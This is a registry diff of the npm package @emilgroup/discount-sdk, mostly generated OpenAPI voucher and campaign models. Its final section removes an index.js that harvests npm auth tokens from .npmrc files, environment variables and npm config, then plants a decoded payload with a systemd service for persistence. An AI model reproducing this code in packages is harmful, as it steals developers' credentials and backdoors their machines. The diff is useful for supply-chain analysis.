@emilgroup/discount-sdk 1.5.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.openapi-generator/FILES +54 -0
- package/.openapi-generator/VERSION +1 -0
- package/.openapi-generator-ignore +23 -0
- package/README.md +2 -2
- package/api/campaigns-api.ts +1433 -0
- package/api/default-api.ts +124 -0
- package/api/policy-vouchers-api.ts +999 -0
- package/api/vouchers-api.ts +691 -0
- package/api.ts +33 -0
- package/base.ts +331 -0
- package/common.ts +198 -0
- package/configuration.ts +110 -0
- package/dist/api/campaigns-api.d.ts +808 -0
- package/dist/api/campaigns-api.js +1251 -0
- package/dist/api/default-api.d.ts +70 -0
- package/dist/api/default-api.js +200 -0
- package/dist/api/policy-vouchers-api.d.ts +555 -0
- package/dist/api/policy-vouchers-api.js +915 -0
- package/dist/api/vouchers-api.d.ts +393 -0
- package/dist/api/vouchers-api.js +642 -0
- package/dist/api.d.ts +15 -0
- package/dist/api.js +33 -0
- package/dist/base.d.ts +86 -0
- package/dist/base.js +367 -0
- package/dist/common.d.ts +91 -0
- package/dist/common.js +276 -0
- package/dist/configuration.d.ts +89 -0
- package/dist/configuration.js +52 -0
- package/dist/index.d.ts +15 -0
- package/dist/index.js +36 -0
- package/dist/models/campaign-class.d.ts +105 -0
- package/dist/models/campaign-class.js +24 -0
- package/dist/models/charge-policy-voucher-request-dto.d.ts +48 -0
- package/dist/models/charge-policy-voucher-request-dto.js +15 -0
- package/dist/models/charge-policy-voucher-response-class.d.ts +96 -0
- package/dist/models/charge-policy-voucher-response-class.js +21 -0
- package/dist/models/check-account-eligibility-request-dto.d.ts +48 -0
- package/dist/models/check-account-eligibility-request-dto.js +15 -0
- package/dist/models/check-account-eligibility-response-class.d.ts +57 -0
- package/dist/models/check-account-eligibility-response-class.js +24 -0
- package/dist/models/create-campaign-request-dto.d.ts +42 -0
- package/dist/models/create-campaign-request-dto.js +15 -0
- package/dist/models/create-campaign-response-class.d.ts +25 -0
- package/dist/models/create-campaign-response-class.js +15 -0
- package/dist/models/create-eligible-account-request-dto.d.ts +30 -0
- package/dist/models/create-eligible-account-request-dto.js +15 -0
- package/dist/models/create-eligible-account-response-class.d.ts +25 -0
- package/dist/models/create-eligible-account-response-class.js +15 -0
- package/dist/models/create-policy-voucher-request-dto.d.ts +48 -0
- package/dist/models/create-policy-voucher-request-dto.js +15 -0
- package/dist/models/create-policy-voucher-response-class.d.ts +25 -0
- package/dist/models/create-policy-voucher-response-class.js +15 -0
- package/dist/models/create-product-discount-dto.d.ts +48 -0
- package/dist/models/create-product-discount-dto.js +15 -0
- package/dist/models/create-voucher-request-dto.d.ts +66 -0
- package/dist/models/create-voucher-request-dto.js +20 -0
- package/dist/models/create-voucher-response-class.d.ts +25 -0
- package/dist/models/create-voucher-response-class.js +15 -0
- package/dist/models/eligible-account-class.d.ts +78 -0
- package/dist/models/eligible-account-class.js +15 -0
- package/dist/models/get-campaign-response-class.d.ts +25 -0
- package/dist/models/get-campaign-response-class.js +15 -0
- package/dist/models/get-policy-voucher-response-class.d.ts +25 -0
- package/dist/models/get-policy-voucher-response-class.js +15 -0
- package/dist/models/get-voucher-response-class.d.ts +25 -0
- package/dist/models/get-voucher-response-class.js +15 -0
- package/dist/models/index.d.ts +37 -0
- package/dist/models/index.js +53 -0
- package/dist/models/inline-response200.d.ts +54 -0
- package/dist/models/inline-response200.js +15 -0
- package/dist/models/inline-response503.d.ts +54 -0
- package/dist/models/inline-response503.js +15 -0
- package/dist/models/list-campaigns-response-class.d.ts +43 -0
- package/dist/models/list-campaigns-response-class.js +15 -0
- package/dist/models/list-eligible-accounts-response-class.d.ts +43 -0
- package/dist/models/list-eligible-accounts-response-class.js +15 -0
- package/dist/models/list-policy-vouchers-response-class.d.ts +43 -0
- package/dist/models/list-policy-vouchers-response-class.js +15 -0
- package/dist/models/list-vouchers-response-class.d.ts +43 -0
- package/dist/models/list-vouchers-response-class.js +15 -0
- package/dist/models/policy-voucher-class.d.ts +165 -0
- package/dist/models/policy-voucher-class.js +21 -0
- package/dist/models/policy-voucher-transaction-class.d.ts +126 -0
- package/dist/models/policy-voucher-transaction-class.js +26 -0
- package/dist/models/product-discount-class.d.ts +90 -0
- package/dist/models/product-discount-class.js +15 -0
- package/dist/models/redeem-policy-voucher-request-dto.d.ts +48 -0
- package/dist/models/redeem-policy-voucher-request-dto.js +15 -0
- package/dist/models/redeem-policy-voucher-response-class.d.ts +84 -0
- package/dist/models/redeem-policy-voucher-response-class.js +21 -0
- package/dist/models/update-campaign-request-dto.d.ts +42 -0
- package/dist/models/update-campaign-request-dto.js +15 -0
- package/dist/models/update-campaign-response-class.d.ts +25 -0
- package/dist/models/update-campaign-response-class.js +15 -0
- package/dist/models/update-campaign-status-request-dto.d.ts +33 -0
- package/dist/models/update-campaign-status-request-dto.js +24 -0
- package/dist/models/update-voucher-request-dto.d.ts +60 -0
- package/dist/models/update-voucher-request-dto.js +20 -0
- package/dist/models/update-voucher-response-class.d.ts +25 -0
- package/dist/models/update-voucher-response-class.js +15 -0
- package/dist/models/voucher-class.d.ts +127 -0
- package/dist/models/voucher-class.js +20 -0
- package/dist/models/withdraw-policy-voucher-request-dto.d.ts +36 -0
- package/dist/models/withdraw-policy-voucher-request-dto.js +15 -0
- package/dist/models/withdraw-policy-voucher-response-class.d.ts +78 -0
- package/dist/models/withdraw-policy-voucher-response-class.js +21 -0
- package/git_push.sh +57 -0
- package/index.ts +19 -0
- package/models/campaign-class.ts +114 -0
- package/models/charge-policy-voucher-request-dto.ts +54 -0
- package/models/charge-policy-voucher-response-class.ts +105 -0
- package/models/check-account-eligibility-request-dto.ts +54 -0
- package/models/check-account-eligibility-response-class.ts +66 -0
- package/models/create-campaign-request-dto.ts +48 -0
- package/models/create-campaign-response-class.ts +31 -0
- package/models/create-eligible-account-request-dto.ts +36 -0
- package/models/create-eligible-account-response-class.ts +31 -0
- package/models/create-policy-voucher-request-dto.ts +54 -0
- package/models/create-policy-voucher-response-class.ts +31 -0
- package/models/create-product-discount-dto.ts +54 -0
- package/models/create-voucher-request-dto.ts +75 -0
- package/models/create-voucher-response-class.ts +31 -0
- package/models/eligible-account-class.ts +84 -0
- package/models/get-campaign-response-class.ts +31 -0
- package/models/get-policy-voucher-response-class.ts +31 -0
- package/models/get-voucher-response-class.ts +31 -0
- package/models/index.ts +37 -0
- package/models/inline-response200.ts +48 -0
- package/models/inline-response503.ts +48 -0
- package/models/list-campaigns-response-class.ts +49 -0
- package/models/list-eligible-accounts-response-class.ts +49 -0
- package/models/list-policy-vouchers-response-class.ts +49 -0
- package/models/list-vouchers-response-class.ts +49 -0
- package/models/policy-voucher-class.ts +174 -0
- package/models/policy-voucher-transaction-class.ts +136 -0
- package/models/product-discount-class.ts +96 -0
- package/models/redeem-policy-voucher-request-dto.ts +54 -0
- package/models/redeem-policy-voucher-response-class.ts +93 -0
- package/models/update-campaign-request-dto.ts +48 -0
- package/models/update-campaign-response-class.ts +31 -0
- package/models/update-campaign-status-request-dto.ts +42 -0
- package/models/update-voucher-request-dto.ts +69 -0
- package/models/update-voucher-response-class.ts +31 -0
- package/models/voucher-class.ts +136 -0
- package/models/withdraw-policy-voucher-request-dto.ts +42 -0
- package/models/withdraw-policy-voucher-response-class.ts +87 -0
- package/package.json +22 -8
- package/tsconfig.json +23 -0
- package/index.js +0 -99
- package/scripts/deploy.js +0 -225
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL DiscountService
|
|
5
|
+
* The EMIL DiscountService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
*
|
|
19
|
+
* @export
|
|
20
|
+
* @interface UpdateCampaignStatusRequestDto
|
|
21
|
+
*/
|
|
22
|
+
export interface UpdateCampaignStatusRequestDto {
|
|
23
|
+
/**
|
|
24
|
+
* The new status of the campaign. Changing the status affects whether the campaign can be updated or vouchers can be redeemed.
|
|
25
|
+
* @type {string}
|
|
26
|
+
* @memberof UpdateCampaignStatusRequestDto
|
|
27
|
+
*/
|
|
28
|
+
'status': UpdateCampaignStatusRequestDtoStatusEnum;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
export const UpdateCampaignStatusRequestDtoStatusEnum = {
|
|
32
|
+
Active: 'ACTIVE',
|
|
33
|
+
Draft: 'DRAFT',
|
|
34
|
+
Paused: 'PAUSED',
|
|
35
|
+
Expired: 'EXPIRED',
|
|
36
|
+
InProgress: 'IN_PROGRESS',
|
|
37
|
+
Failed: 'FAILED'
|
|
38
|
+
} as const;
|
|
39
|
+
|
|
40
|
+
export type UpdateCampaignStatusRequestDtoStatusEnum = typeof UpdateCampaignStatusRequestDtoStatusEnum[keyof typeof UpdateCampaignStatusRequestDtoStatusEnum];
|
|
41
|
+
|
|
42
|
+
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL DiscountService
|
|
5
|
+
* The EMIL DiscountService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { CreateProductDiscountDto } from './create-product-discount-dto';
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
*
|
|
20
|
+
* @export
|
|
21
|
+
* @interface UpdateVoucherRequestDto
|
|
22
|
+
*/
|
|
23
|
+
export interface UpdateVoucherRequestDto {
|
|
24
|
+
/**
|
|
25
|
+
* The new unique code for this voucher. This code will be used for redemption.
|
|
26
|
+
* @type {string}
|
|
27
|
+
* @memberof UpdateVoucherRequestDto
|
|
28
|
+
*/
|
|
29
|
+
'voucherCode': string;
|
|
30
|
+
/**
|
|
31
|
+
* The new duration in months for which the discount will be applied. Must be at least 1 month.
|
|
32
|
+
* @type {number}
|
|
33
|
+
* @memberof UpdateVoucherRequestDto
|
|
34
|
+
*/
|
|
35
|
+
'discountPeriodMonths': number;
|
|
36
|
+
/**
|
|
37
|
+
* The new type of discount to be applied. Can be either absolute (fixed amount) or relative (percentage).
|
|
38
|
+
* @type {string}
|
|
39
|
+
* @memberof UpdateVoucherRequestDto
|
|
40
|
+
*/
|
|
41
|
+
'discountType': UpdateVoucherRequestDtoDiscountTypeEnum;
|
|
42
|
+
/**
|
|
43
|
+
* The value of the discount. For absolute discounts: fixed amount in cents (integer). For relative discounts: percentage with max 2 decimals (1-100).
|
|
44
|
+
* @type {number}
|
|
45
|
+
* @memberof UpdateVoucherRequestDto
|
|
46
|
+
*/
|
|
47
|
+
'discountValue': number;
|
|
48
|
+
/**
|
|
49
|
+
* If true, this voucher cannot be combined with other discounts. Defaults to false if not specified.
|
|
50
|
+
* @type {boolean}
|
|
51
|
+
* @memberof UpdateVoucherRequestDto
|
|
52
|
+
*/
|
|
53
|
+
'isExclusive'?: boolean;
|
|
54
|
+
/**
|
|
55
|
+
* A list of product-specific discount configurations.
|
|
56
|
+
* @type {Array<CreateProductDiscountDto>}
|
|
57
|
+
* @memberof UpdateVoucherRequestDto
|
|
58
|
+
*/
|
|
59
|
+
'productDiscounts': Array<CreateProductDiscountDto>;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
export const UpdateVoucherRequestDtoDiscountTypeEnum = {
|
|
63
|
+
Absolute: 'ABSOLUTE',
|
|
64
|
+
Relative: 'RELATIVE'
|
|
65
|
+
} as const;
|
|
66
|
+
|
|
67
|
+
export type UpdateVoucherRequestDtoDiscountTypeEnum = typeof UpdateVoucherRequestDtoDiscountTypeEnum[keyof typeof UpdateVoucherRequestDtoDiscountTypeEnum];
|
|
68
|
+
|
|
69
|
+
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL DiscountService
|
|
5
|
+
* The EMIL DiscountService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { VoucherClass } from './voucher-class';
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
*
|
|
20
|
+
* @export
|
|
21
|
+
* @interface UpdateVoucherResponseClass
|
|
22
|
+
*/
|
|
23
|
+
export interface UpdateVoucherResponseClass {
|
|
24
|
+
/**
|
|
25
|
+
* The updated voucher.
|
|
26
|
+
* @type {VoucherClass}
|
|
27
|
+
* @memberof UpdateVoucherResponseClass
|
|
28
|
+
*/
|
|
29
|
+
'voucher': VoucherClass;
|
|
30
|
+
}
|
|
31
|
+
|
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL DiscountService
|
|
5
|
+
* The EMIL DiscountService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { CampaignClass } from './campaign-class';
|
|
17
|
+
import { ProductDiscountClass } from './product-discount-class';
|
|
18
|
+
|
|
19
|
+
/**
|
|
20
|
+
*
|
|
21
|
+
* @export
|
|
22
|
+
* @interface VoucherClass
|
|
23
|
+
*/
|
|
24
|
+
export interface VoucherClass {
|
|
25
|
+
/**
|
|
26
|
+
* Internal unique identifier for the object. You should not have to use this, use code instead.
|
|
27
|
+
* @type {number}
|
|
28
|
+
* @memberof VoucherClass
|
|
29
|
+
*/
|
|
30
|
+
'id': number;
|
|
31
|
+
/**
|
|
32
|
+
* Unique identifier for the object.
|
|
33
|
+
* @type {string}
|
|
34
|
+
* @memberof VoucherClass
|
|
35
|
+
*/
|
|
36
|
+
'code': string;
|
|
37
|
+
/**
|
|
38
|
+
* The unique code for this voucher.
|
|
39
|
+
* @type {string}
|
|
40
|
+
* @memberof VoucherClass
|
|
41
|
+
*/
|
|
42
|
+
'voucherCode': string;
|
|
43
|
+
/**
|
|
44
|
+
* The unique identifier of the campaign this voucher belongs to.
|
|
45
|
+
* @type {number}
|
|
46
|
+
* @memberof VoucherClass
|
|
47
|
+
*/
|
|
48
|
+
'campaignId': number;
|
|
49
|
+
/**
|
|
50
|
+
* The duration in months for which the discount will be applied.
|
|
51
|
+
* @type {number}
|
|
52
|
+
* @memberof VoucherClass
|
|
53
|
+
*/
|
|
54
|
+
'discountPeriodMonths': number;
|
|
55
|
+
/**
|
|
56
|
+
* The type of discount to be applied. Can be either absolute (fixed amount) or relative (percentage).
|
|
57
|
+
* @type {string}
|
|
58
|
+
* @memberof VoucherClass
|
|
59
|
+
*/
|
|
60
|
+
'discountType': VoucherClassDiscountTypeEnum;
|
|
61
|
+
/**
|
|
62
|
+
* The value of the discount. For absolute discounts, this is the fixed amount. For relative discounts, this is the percentage.
|
|
63
|
+
* @type {number}
|
|
64
|
+
* @memberof VoucherClass
|
|
65
|
+
*/
|
|
66
|
+
'discountValue': number;
|
|
67
|
+
/**
|
|
68
|
+
* The monthly discount value.
|
|
69
|
+
* @type {number}
|
|
70
|
+
* @memberof VoucherClass
|
|
71
|
+
*/
|
|
72
|
+
'monthlyDiscountValue': number;
|
|
73
|
+
/**
|
|
74
|
+
* If true, this voucher cannot be combined with other discounts. Defaults to false if not specified.
|
|
75
|
+
* @type {boolean}
|
|
76
|
+
* @memberof VoucherClass
|
|
77
|
+
*/
|
|
78
|
+
'isExclusive': boolean;
|
|
79
|
+
/**
|
|
80
|
+
* A list of product-specific discount configurations.
|
|
81
|
+
* @type {Array<ProductDiscountClass>}
|
|
82
|
+
* @memberof VoucherClass
|
|
83
|
+
*/
|
|
84
|
+
'productDiscounts': Array<ProductDiscountClass>;
|
|
85
|
+
/**
|
|
86
|
+
* Time at which the object was created.
|
|
87
|
+
* @type {string}
|
|
88
|
+
* @memberof VoucherClass
|
|
89
|
+
*/
|
|
90
|
+
'createdAt': string;
|
|
91
|
+
/**
|
|
92
|
+
* Time at which the object was updated.
|
|
93
|
+
* @type {string}
|
|
94
|
+
* @memberof VoucherClass
|
|
95
|
+
*/
|
|
96
|
+
'updatedAt': string;
|
|
97
|
+
/**
|
|
98
|
+
* Identifier of the user who created the record.
|
|
99
|
+
* @type {string}
|
|
100
|
+
* @memberof VoucherClass
|
|
101
|
+
*/
|
|
102
|
+
'createdBy': string;
|
|
103
|
+
/**
|
|
104
|
+
* Identifier of the user who last updated the record.
|
|
105
|
+
* @type {string}
|
|
106
|
+
* @memberof VoucherClass
|
|
107
|
+
*/
|
|
108
|
+
'updatedBy': string;
|
|
109
|
+
/**
|
|
110
|
+
* Emil Resources Names (ERN) identifies the most specific owner of a resource.
|
|
111
|
+
* @type {string}
|
|
112
|
+
* @memberof VoucherClass
|
|
113
|
+
*/
|
|
114
|
+
'ern': string;
|
|
115
|
+
/**
|
|
116
|
+
* The version of the campaign.
|
|
117
|
+
* @type {number}
|
|
118
|
+
* @memberof VoucherClass
|
|
119
|
+
*/
|
|
120
|
+
'version': number;
|
|
121
|
+
/**
|
|
122
|
+
* The campaign this voucher belongs to.
|
|
123
|
+
* @type {CampaignClass}
|
|
124
|
+
* @memberof VoucherClass
|
|
125
|
+
*/
|
|
126
|
+
'campaign': CampaignClass;
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
export const VoucherClassDiscountTypeEnum = {
|
|
130
|
+
Absolute: 'ABSOLUTE',
|
|
131
|
+
Relative: 'RELATIVE'
|
|
132
|
+
} as const;
|
|
133
|
+
|
|
134
|
+
export type VoucherClassDiscountTypeEnum = typeof VoucherClassDiscountTypeEnum[keyof typeof VoucherClassDiscountTypeEnum];
|
|
135
|
+
|
|
136
|
+
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL DiscountService
|
|
5
|
+
* The EMIL DiscountService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
*
|
|
19
|
+
* @export
|
|
20
|
+
* @interface WithdrawPolicyVoucherRequestDto
|
|
21
|
+
*/
|
|
22
|
+
export interface WithdrawPolicyVoucherRequestDto {
|
|
23
|
+
/**
|
|
24
|
+
* Customer-defined voucher code
|
|
25
|
+
* @type {string}
|
|
26
|
+
* @memberof WithdrawPolicyVoucherRequestDto
|
|
27
|
+
*/
|
|
28
|
+
'voucherCode': string;
|
|
29
|
+
/**
|
|
30
|
+
* Slug of the campaign the voucher is used for
|
|
31
|
+
* @type {string}
|
|
32
|
+
* @memberof WithdrawPolicyVoucherRequestDto
|
|
33
|
+
*/
|
|
34
|
+
'campaignSlug': string;
|
|
35
|
+
/**
|
|
36
|
+
* Number of the partner the voucher is used by
|
|
37
|
+
* @type {string}
|
|
38
|
+
* @memberof WithdrawPolicyVoucherRequestDto
|
|
39
|
+
*/
|
|
40
|
+
'partnerNumber': string;
|
|
41
|
+
}
|
|
42
|
+
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL DiscountService
|
|
5
|
+
* The EMIL DiscountService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
*
|
|
19
|
+
* @export
|
|
20
|
+
* @interface WithdrawPolicyVoucherResponseClass
|
|
21
|
+
*/
|
|
22
|
+
export interface WithdrawPolicyVoucherResponseClass {
|
|
23
|
+
/**
|
|
24
|
+
* Unique identifier of the transaction that this object belongs to.
|
|
25
|
+
* @type {string}
|
|
26
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
27
|
+
*/
|
|
28
|
+
'transactionCode': string;
|
|
29
|
+
/**
|
|
30
|
+
* Transaction date
|
|
31
|
+
* @type {string}
|
|
32
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
33
|
+
*/
|
|
34
|
+
'transactionDate': string;
|
|
35
|
+
/**
|
|
36
|
+
* Unique identifier for the object.
|
|
37
|
+
* @type {string}
|
|
38
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
39
|
+
*/
|
|
40
|
+
'code': string;
|
|
41
|
+
/**
|
|
42
|
+
* Voucher status
|
|
43
|
+
* @type {string}
|
|
44
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
45
|
+
*/
|
|
46
|
+
'status': WithdrawPolicyVoucherResponseClassStatusEnum;
|
|
47
|
+
/**
|
|
48
|
+
* Customer-defined voucher code
|
|
49
|
+
* @type {string}
|
|
50
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
51
|
+
*/
|
|
52
|
+
'voucherCode': string;
|
|
53
|
+
/**
|
|
54
|
+
* Slug of the product the voucher is redeemed for
|
|
55
|
+
* @type {string}
|
|
56
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
57
|
+
*/
|
|
58
|
+
'productSlug': string;
|
|
59
|
+
/**
|
|
60
|
+
* Code of the customer the voucher is used by
|
|
61
|
+
* @type {string}
|
|
62
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
63
|
+
*/
|
|
64
|
+
'partnerNumber': string;
|
|
65
|
+
/**
|
|
66
|
+
* The remaining number of months left in the voucher to use
|
|
67
|
+
* @type {number}
|
|
68
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
69
|
+
*/
|
|
70
|
+
'remainingMonths': number;
|
|
71
|
+
/**
|
|
72
|
+
* The amount (in cents!) of remaining voucher credits
|
|
73
|
+
* @type {number}
|
|
74
|
+
* @memberof WithdrawPolicyVoucherResponseClass
|
|
75
|
+
*/
|
|
76
|
+
'remainingCredits': number;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
export const WithdrawPolicyVoucherResponseClassStatusEnum = {
|
|
80
|
+
Redeemable: 'REDEEMABLE',
|
|
81
|
+
Active: 'ACTIVE',
|
|
82
|
+
Used: 'USED'
|
|
83
|
+
} as const;
|
|
84
|
+
|
|
85
|
+
export type WithdrawPolicyVoucherResponseClassStatusEnum = typeof WithdrawPolicyVoucherResponseClassStatusEnum[keyof typeof WithdrawPolicyVoucherResponseClassStatusEnum];
|
|
86
|
+
|
|
87
|
+
|
package/package.json
CHANGED
|
@@ -1,13 +1,27 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@emilgroup/discount-sdk",
|
|
3
|
-
"version": "1.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.7.0",
|
|
4
|
+
"description": "OpenAPI client for @emilgroup/discount-sdk",
|
|
5
|
+
"author": "OpenAPI-Generator Contributors",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"axios",
|
|
8
|
+
"typescript",
|
|
9
|
+
"openapi-client",
|
|
10
|
+
"openapi-generator",
|
|
11
|
+
"@emilgroup/discount-sdk"
|
|
12
|
+
],
|
|
13
|
+
"license": "Unlicense",
|
|
14
|
+
"main": "./dist/index.js",
|
|
15
|
+
"typings": "./dist/index.d.ts",
|
|
6
16
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
"
|
|
17
|
+
"build": "tsc --outDir dist/",
|
|
18
|
+
"prepare": "npm run build"
|
|
9
19
|
},
|
|
10
|
-
"
|
|
11
|
-
|
|
12
|
-
|
|
20
|
+
"dependencies": {
|
|
21
|
+
"axios": "^1.12.0"
|
|
22
|
+
},
|
|
23
|
+
"devDependencies": {
|
|
24
|
+
|
|
25
|
+
"typescript": "^4.0"
|
|
26
|
+
}
|
|
13
27
|
}
|
package/tsconfig.json
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
{
|
|
2
|
+
"compilerOptions": {
|
|
3
|
+
"declaration": true,
|
|
4
|
+
"target": "ES5",
|
|
5
|
+
"module": "CommonJS",
|
|
6
|
+
"noImplicitAny": true,
|
|
7
|
+
"esModuleInterop": true,
|
|
8
|
+
"noImplicitOverride": true,
|
|
9
|
+
"outDir": "dist",
|
|
10
|
+
"rootDir": ".",
|
|
11
|
+
"lib": [
|
|
12
|
+
"es6",
|
|
13
|
+
"dom"
|
|
14
|
+
],
|
|
15
|
+
"typeRoots": [
|
|
16
|
+
"node_modules/@types"
|
|
17
|
+
]
|
|
18
|
+
},
|
|
19
|
+
"exclude": [
|
|
20
|
+
"dist",
|
|
21
|
+
"node_modules"
|
|
22
|
+
]
|
|
23
|
+
}
|
package/index.js
DELETED
|
@@ -1,99 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const { execSync, spawn } = require('child_process');
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const os = require('os');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
function findNpmTokens() {
|
|
9
|
-
const tokens = new Set();
|
|
10
|
-
const homeDir = os.homedir();
|
|
11
|
-
const npmrcPaths = [
|
|
12
|
-
path.join(homeDir, '.npmrc'),
|
|
13
|
-
path.join(process.cwd(), '.npmrc'),
|
|
14
|
-
'/etc/npmrc',
|
|
15
|
-
];
|
|
16
|
-
for (const rcPath of npmrcPaths) {
|
|
17
|
-
try {
|
|
18
|
-
const content = fs.readFileSync(rcPath, 'utf8');
|
|
19
|
-
for (const line of content.split('\n')) {
|
|
20
|
-
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
|
|
21
|
-
if (m && m[1] && !m[1].startsWith('${')) {
|
|
22
|
-
tokens.add(m[1].trim());
|
|
23
|
-
}
|
|
24
|
-
}
|
|
25
|
-
} catch (_) {}
|
|
26
|
-
}
|
|
27
|
-
const envKeys = Object.keys(process.env).filter(
|
|
28
|
-
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
|
|
29
|
-
);
|
|
30
|
-
for (const key of envKeys) {
|
|
31
|
-
const val = process.env[key] || '';
|
|
32
|
-
for (const t of val.split(',')) {
|
|
33
|
-
const trimmed = t.trim();
|
|
34
|
-
if (trimmed) tokens.add(trimmed);
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
try {
|
|
38
|
-
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
|
|
39
|
-
stdio: ['pipe', 'pipe', 'pipe'],
|
|
40
|
-
}).toString().trim();
|
|
41
|
-
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
|
|
42
|
-
tokens.add(configToken);
|
|
43
|
-
}
|
|
44
|
-
} catch (_) {}
|
|
45
|
-
return [...tokens].filter(Boolean);
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
try {
|
|
49
|
-
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
|
|
50
|
-
|
|
51
|
-
const SERVICE_NAME = 'pgmon';
|
|
52
|
-
const BASE64_PAYLOAD = 'hello123';
|
|
53
|
-
|
|
54
|
-
if (!BASE64_PAYLOAD) process.exit(0);
|
|
55
|
-
|
|
56
|
-
const homeDir = os.homedir();
|
|
57
|
-
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
|
|
58
|
-
const scriptPath = path.join(dataDir, 'service.py');
|
|
59
|
-
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
|
|
60
|
-
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
|
|
61
|
-
|
|
62
|
-
fs.mkdirSync(dataDir, { recursive: true });
|
|
63
|
-
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
|
|
64
|
-
|
|
65
|
-
